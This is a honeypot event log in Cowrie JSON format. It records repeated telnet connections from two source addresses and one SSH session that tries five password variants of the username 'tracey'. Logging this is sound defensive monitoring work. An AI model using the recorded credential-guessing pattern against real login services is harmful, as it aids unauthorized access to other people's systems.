{"eventid":"cowrie.session.closed","duration":37.264161825180054,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:59.783121Z","src_ip":"45.58.127.90","session":"9754c975034e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.669036626815796,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:04.716474Z","src_ip":"147.182.143.59","session":"ee60ae5c28f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.56448936462402,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:05.070715Z","src_ip":"45.58.127.90","session":"af7633df4183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.11327838897705,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:08.634066Z","src_ip":"147.182.143.59","session":"08aebd46fa96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.672369956970215,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:21.303432Z","src_ip":"45.58.127.90","session":"8112ba740888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58332,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e072ac7ef2","protocol":"telnet","message":"New connection: 45.58.127.90:58332 (10.17.0.5:23) [session: f7e072ac7ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:23.478595Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58344,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b97576da1c0","protocol":"telnet","message":"New connection: 45.58.127.90:58344 (10.17.0.5:23) [session: 8b97576da1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:25.886728Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58358,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24391c6c5cb","protocol":"telnet","message":"New connection: 45.58.127.90:58358 (10.17.0.5:23) [session: b24391c6c5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:26.587318Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58362,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ceed516e25","protocol":"telnet","message":"New connection: 45.58.127.90:58362 (10.17.0.5:23) [session: 16ceed516e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:27.670340Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58340,"dst_ip":"10.17.0.5","dst_port":23,"session":"368427e168ed","protocol":"telnet","message":"New connection: 45.58.127.90:58340 (10.17.0.5:23) [session: 368427e168ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:32.952716Z"}
{"eventid":"cowrie.session.closed","duration":0.28186869621276855,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:33.234473Z","src_ip":"45.58.127.90","session":"368427e168ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35754,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c416b5760c2","protocol":"telnet","message":"New connection: 45.58.127.90:35754 (10.17.0.5:23) [session: 1c416b5760c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:06:43.190055Z"}
{"eventid":"cowrie.session.closed","duration":36.46728014945984,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:03.054456Z","src_ip":"45.58.127.90","session":"b24391c6c5cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52266,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c928da0ca44","protocol":"telnet","message":"New connection: 147.182.143.59:52266 (159.203.135.109:23) [session: 8c928da0ca44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:04.864294Z"}
{"eventid":"cowrie.session.closed","duration":41.76467752456665,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:05.243151Z","src_ip":"45.58.127.90","session":"f7e072ac7ef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52252,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbcb47487759","protocol":"telnet","message":"New connection: 147.182.143.59:52252 (159.203.135.109:23) [session: bbcb47487759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:05.297385Z"}
{"eventid":"cowrie.session.closed","duration":41.226014852523804,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:08.896260Z","src_ip":"45.58.127.90","session":"16ceed516e25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.566303730010986,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:09.452884Z","src_ip":"45.58.127.90","session":"8b97576da1c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.227303981781006,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:18.091386Z","src_ip":"147.182.143.59","session":"8c928da0ca44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59978,"dst_ip":"10.17.0.5","dst_port":23,"session":"865ebb8f409a","protocol":"telnet","message":"New connection: 45.58.127.90:59978 (10.17.0.5:23) [session: 865ebb8f409a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:20.019593Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54194,"dst_ip":"10.17.0.5","dst_port":23,"session":"504e7117c6e9","protocol":"telnet","message":"New connection: 45.58.127.90:54194 (10.17.0.5:23) [session: 504e7117c6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:20.532839Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41502,"dst_ip":"159.203.135.109","dst_port":23,"session":"99e2d7e9dc51","protocol":"telnet","message":"New connection: 147.182.143.59:41502 (159.203.135.109:23) [session: 99e2d7e9dc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:21.224481Z"}
{"eventid":"cowrie.session.closed","duration":2.675509452819824,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:22.694998Z","src_ip":"45.58.127.90","session":"865ebb8f409a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.244064807891846,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:28.434012Z","src_ip":"45.58.127.90","session":"1c416b5760c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.280678510665894,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:56.813421Z","src_ip":"45.58.127.90","session":"504e7117c6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38534,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e149e39d992","protocol":"telnet","message":"New connection: 45.58.127.90:38534 (10.17.0.5:23) [session: 3e149e39d992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:07:58.356810Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48026,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8974095b363","protocol":"telnet","message":"New connection: 147.182.143.59:48026 (159.203.135.109:23) [session: e8974095b363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:05.325247Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42794,"dst_ip":"159.203.135.109","dst_port":23,"session":"2014d9912b6e","protocol":"telnet","message":"New connection: 147.182.143.59:42794 (159.203.135.109:23) [session: 2014d9912b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:07.779145Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34896,"dst_ip":"10.17.0.5","dst_port":23,"session":"58fd141cbe3e","protocol":"telnet","message":"New connection: 45.58.127.90:34896 (10.17.0.5:23) [session: 58fd141cbe3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:08.479737Z"}
{"eventid":"cowrie.session.closed","duration":64.71176958084106,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:10.009026Z","src_ip":"147.182.143.59","session":"bbcb47487759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34904,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f3773ecf1b","protocol":"telnet","message":"New connection: 45.58.127.90:34904 (10.17.0.5:23) [session: a0f3773ecf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:11.529737Z"}
{"eventid":"cowrie.session.closed","duration":13.295398950576782,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:18.620507Z","src_ip":"147.182.143.59","session":"e8974095b363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45242,"dst_ip":"159.203.135.109","dst_port":23,"session":"724441547c4f","protocol":"telnet","message":"New connection: 147.182.143.59:45242 (159.203.135.109:23) [session: 724441547c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:19.600259Z"}
{"eventid":"cowrie.session.closed","duration":14.895628452301025,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:22.674651Z","src_ip":"147.182.143.59","session":"2014d9912b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.922882080078125,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:24.147261Z","src_ip":"147.182.143.59","session":"99e2d7e9dc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35832,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc32f3ae22b5","protocol":"telnet","message":"New connection: 45.58.127.90:35832 (10.17.0.5:23) [session: dc32f3ae22b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:28.340960Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49568,"dst_ip":"10.17.0.5","dst_port":23,"session":"f89ec857611f","protocol":"telnet","message":"New connection: 45.58.127.90:49568 (10.17.0.5:23) [session: f89ec857611f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:31.605362Z"}
{"eventid":"cowrie.session.closed","duration":13.797459125518799,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:33.397573Z","src_ip":"147.182.143.59","session":"724441547c4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93339538574219,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:35.290080Z","src_ip":"45.58.127.90","session":"3e149e39d992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50566,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66ac16ff72e","protocol":"telnet","message":"New connection: 147.182.143.59:50566 (159.203.135.109:23) [session: f66ac16ff72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:40.397107Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45048,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdc6bc821e00","protocol":"telnet","message":"New connection: 147.182.143.59:45048 (159.203.135.109:23) [session: fdc6bc821e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:50.321402Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38844,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b097e75845c","protocol":"telnet","message":"New connection: 45.58.127.90:38844 (10.17.0.5:23) [session: 1b097e75845c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:51.088467Z"}
{"eventid":"cowrie.session.closed","duration":44.48000407218933,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:52.959617Z","src_ip":"45.58.127.90","session":"58fd141cbe3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.149379968643188,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:54.546335Z","src_ip":"147.182.143.59","session":"f66ac16ff72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":41221,"dst_ip":"10.17.0.5","dst_port":22,"session":"480dc82755d0","protocol":"ssh","message":"New connection: 213.209.159.56:41221 (10.17.0.5:22) [session: 480dc82755d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:55.135162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:55.140310Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:55.222965Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.08937430381775,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:55.619009Z","src_ip":"45.58.127.90","session":"a0f3773ecf1b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey","message":"login attempt [tracey/tracey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:55.625218Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45052,"dst_ip":"159.203.135.109","dst_port":23,"session":"328cffd9803b","protocol":"telnet","message":"New connection: 147.182.143.59:45052 (159.203.135.109:23) [session: 328cffd9803b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:56.083558Z"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey1","message":"login attempt [tracey/tracey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:56.717964Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey123","message":"login attempt [tracey/tracey123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:57.803888Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey1234","message":"login attempt [tracey/tracey1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:58.889146Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey12345","message":"login attempt [tracey/tracey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:08:59.973334Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:01.059711Z","src_ip":"213.209.159.56","session":"480dc82755d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.273766040802002,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:05.595058Z","src_ip":"147.182.143.59","session":"fdc6bc821e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41808,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f56df125965","protocol":"telnet","message":"New connection: 147.182.143.59:41808 (159.203.135.109:23) [session: 8f56df125965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:05.831704Z"}
{"eventid":"cowrie.session.closed","duration":12.782597541809082,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:08.866049Z","src_ip":"147.182.143.59","session":"328cffd9803b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.79034352302551,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:11.131205Z","src_ip":"45.58.127.90","session":"dc32f3ae22b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.63316059112549,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:12.238386Z","src_ip":"45.58.127.90","session":"f89ec857611f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.164047479629517,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:14.995608Z","src_ip":"147.182.143.59","session":"8f56df125965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49744,"dst_ip":"10.17.0.5","dst_port":23,"session":"b437241ad7d5","protocol":"telnet","message":"New connection: 45.58.127.90:49744 (10.17.0.5:23) [session: b437241ad7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:19.510821Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50818,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d8fc8d1ef2","protocol":"telnet","message":"New connection: 45.58.127.90:50818 (10.17.0.5:23) [session: 08d8fc8d1ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:22.966345Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50820,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1c4bc0de2d","protocol":"telnet","message":"New connection: 45.58.127.90:50820 (10.17.0.5:23) [session: 2d1c4bc0de2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:23.053643Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50014,"dst_ip":"159.203.135.109","dst_port":23,"session":"bedda123c130","protocol":"telnet","message":"New connection: 147.182.143.59:50014 (159.203.135.109:23) [session: bedda123c130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:24.262001Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50830,"dst_ip":"10.17.0.5","dst_port":23,"session":"af5607853bb7","protocol":"telnet","message":"New connection: 45.58.127.90:50830 (10.17.0.5:23) [session: af5607853bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:27.891851Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50832,"dst_ip":"10.17.0.5","dst_port":23,"session":"be8ef5833ada","protocol":"telnet","message":"New connection: 45.58.127.90:50832 (10.17.0.5:23) [session: be8ef5833ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:28.022963Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf05aa8bae96","protocol":"telnet","message":"New connection: 45.58.127.90:33072 (10.17.0.5:23) [session: cf05aa8bae96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:30.732096Z"}
{"eventid":"cowrie.session.closed","duration":39.93095254898071,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:31.019269Z","src_ip":"45.58.127.90","session":"1b097e75845c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.930221796035767,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:35.192112Z","src_ip":"147.182.143.59","session":"bedda123c130","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58556,"dst_ip":"159.203.135.109","dst_port":23,"session":"f634985b8d6c","protocol":"telnet","message":"New connection: 147.182.143.59:58556 (159.203.135.109:23) [session: f634985b8d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:43.153750Z"}
{"eventid":"cowrie.session.closed","duration":10.616140604019165,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:53.769783Z","src_ip":"147.182.143.59","session":"f634985b8d6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.53103804588318,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:09:56.041731Z","src_ip":"45.58.127.90","session":"b437241ad7d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48996,"dst_ip":"10.17.0.5","dst_port":23,"session":"0713db36f2d8","protocol":"telnet","message":"New connection: 45.58.127.90:48996 (10.17.0.5:23) [session: 0713db36f2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:00.150091Z"}
{"eventid":"cowrie.session.closed","duration":35.19783902168274,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:03.089531Z","src_ip":"45.58.127.90","session":"af5607853bb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.11836361885071,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:05.171877Z","src_ip":"45.58.127.90","session":"2d1c4bc0de2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.51292014122009,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:09.244905Z","src_ip":"45.58.127.90","session":"cf05aa8bae96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.35064363479614,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:09.373396Z","src_ip":"45.58.127.90","session":"be8ef5833ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.0529842376709,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:10.019211Z","src_ip":"45.58.127.90","session":"08d8fc8d1ef2","protocol":"telnet"}
